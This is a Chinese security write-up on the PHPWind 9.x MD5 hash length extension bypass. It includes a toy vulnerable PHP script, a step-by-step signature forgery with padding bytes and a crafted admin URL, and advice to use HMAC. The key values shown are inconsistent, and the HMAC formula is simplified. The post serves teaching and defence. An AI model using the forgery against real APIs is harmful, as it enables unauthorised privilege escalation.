经典漏洞回顾系列-开发安全篇-1

0x00 前言

乌云的漏洞库已经有好心人开放下载,正在整理的过程,打算把一些比较经典的漏洞案例整理出来做成 经典漏洞回顾系列。每个漏洞都会整理出 漏洞信息、漏洞概要、漏洞原理、场景还原、场景对应POC以及漏洞预防,方便读者快速理解原理。目前大概预想了两个主题 开发安全篇,设置安全篇主要偏向人为疏忽导致的漏洞。大家有哪些系列想了解的可以评论留言,也可以私信投稿。打算做一个小型的乌云知识库,大家一起共同进步。

0x01 漏洞信息

漏洞标题   PHPWind 9.x的 MD5 Padding Extension漏洞分析

漏洞发布   http://www.jeeseen.com/archives/52.html 

漏洞作者   Jannock

漏洞原理   Md5 Padding Extension

漏洞时间   2016-05

0x02 漏洞概要

PHPWind  主要根据 WindidUtility::appKey  是否和 $_windidkey 来判断当前用户是否有权限对接口进行调用。

public  function beforeAction($handlerAdapter) {

........before auth code ......

 

if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);

       
                                                                                             

.......after ayth code ........

}

                                        

在看看 WindidUtility::appKey 生成函数 

public static function appKey($apiId, $time, $secretkey, $get, $post) {

 

........before init key ......

 

return md5(md5($apiId.'||'.$secretkey).$time.$str);

 }

结合上下文 我们可以知道 WindidUtility::appKey 生成的函数最终是 

md5( 已知32位 + 已知时间 + 部分可控的get和post参数 )

又由于 PHPWind 对输入的参数顺序要求并不严谨。通过更改参数的发送方式最终导致 部分可控的get和post参数 这个部分可以进行修改。从而导致md5 padding 绕过了验证导致漏洞产生。

0x03 漏洞原理

MD5 Padding Extension :其实真正的名字应该叫 Hash Length Extension Attacks ,直接翻译成中文就是 哈希长度扩展攻击 。MD5, SHA1, SHA2哈希算法等都是基于 Merkle–Damgård。这种签名认证的方式有一个很有趣的问题就是,你只要知道明文长度,你可以加入自己的数据然后用填充的方式去绕过这种签名认证。 

示例  message + padding + extension 

0x04 场景还原

md5padding.php

<?php

$syscode = ('abcdefg');

$code = md5($syscode);

$usertype = isset($_GET['u']) ? $_GET['u'] : "";

$key = isset($_GET['k']) ? $_GET['k'] : "";

$authvalue = '';

foreach ($_GET as $k => $v) {

   

if ($k == 'k') continue;

   

$authvalue =$authvalue.$k.$v;

}

$authvalue =  $code . $authvalue;

if ($key != '' && md5($authvalue) == $key) {

   

$usertype = $_GET['u'];

   

$key = $_GET['k'];

   

if ($usertype == 'user') {

       

echo '你是用户';

   

}

   

if ($usertype == 'admin') {

       

echo '你是管理员,系统密钥是' . $syscode;

   

}

} else {

   

echo '<br >请登录 key是' . md5($code . 'uuser');

}

?>

 

把PHPWind的场景简化成以上的验证过程。只有知道code我们才能任意制作我们想要的权限对应的key。但是在不知道code,只知道用户的 kye 的情况下。如何实现绕过签名成为管理员的权限获得code。

游客登录  md5padding.php 

>>   请登录 key是 6fbd8dd6f6532f88cfa2f88dc9df391e

用户登录  md5padding.php?u=user&k=6fbd8dd6f6532f88cfa2f88dc9df391e 

>>  你是用户 

用户越权登录  md5padding.php?u=admin&k=6fbd8dd6f6532f88cfa2f88dc9df391e

>>   请登录 key是 6fbd8dd6f6532f88cfa2f88dc9df391e

0x05 POC构建 

我们可以注意到  authvalue 由 $_GET 的key和value 构成 同时又是属于 生成key的哈希的后方。前面是md5后的code的长度是32.所以满足了长度已知且后续可补的情况。可以进行哈希长度扩展攻击。

原来的 key = md5(code+uuser)

构建poc如下: 

构造的 key = md5(code + uuser + padding + uadmin)

原来的MD5是 2075338fca8d0f5129cc31a217a36b8c

明文长度是 (code) 32 + (uuser)5 = 37

要填充的明文是  uadmin 

用一下padding神器 

md5pad.py 2075338fca8d0f5129cc31a217a36b8c uadmin 37

得到POC为 

%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00uadmin

最终访问地址变为

md5padding.php?

uuser=%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%28%01%00%00%00%00%00%00&u=admin&k=07c0a0822fca522c8c1b2d7f020b4c83

>>你是管理员,系统密钥是abcdefg

至此我们通过只有一个普通用户的key

2075338fca8d0f5129cc31a217a36b8c 

到构造出绕过管理员权限能够获取到code 的key 

07c0a0822fca522c8c1b2d7f020b4c83

0x06 漏洞预防

企业在使用MD5, SHA1, SHA2哈希算法进行校验的时候要切实检查可控参数的问题。最好是全部置换成HMAC算法

MAC = hash(key + hash(key + message)) 

虽然多了一层计算,但是攻击者无法再进行padding攻击来构造自己所希望的hash值。从而使得哈希算法更加有效。

各大语言均有HMAC算法提供。如php提供的hash_hmac:

string hash_hmac(string $algo, string $data, string $key[, bool $raw_output = false])

0x07 参考链接

漏洞来源  

http://www.jeeseen.com/archives/52.html 

哈希长度扩展攻击  

https://www.whitehatsec.com/blog/hash-length-extension-attacks

MD5 Padding 工具 

https://github.com/danghvu/md5pad

HMAC

https://en.wikipedia.org/wiki/HMAC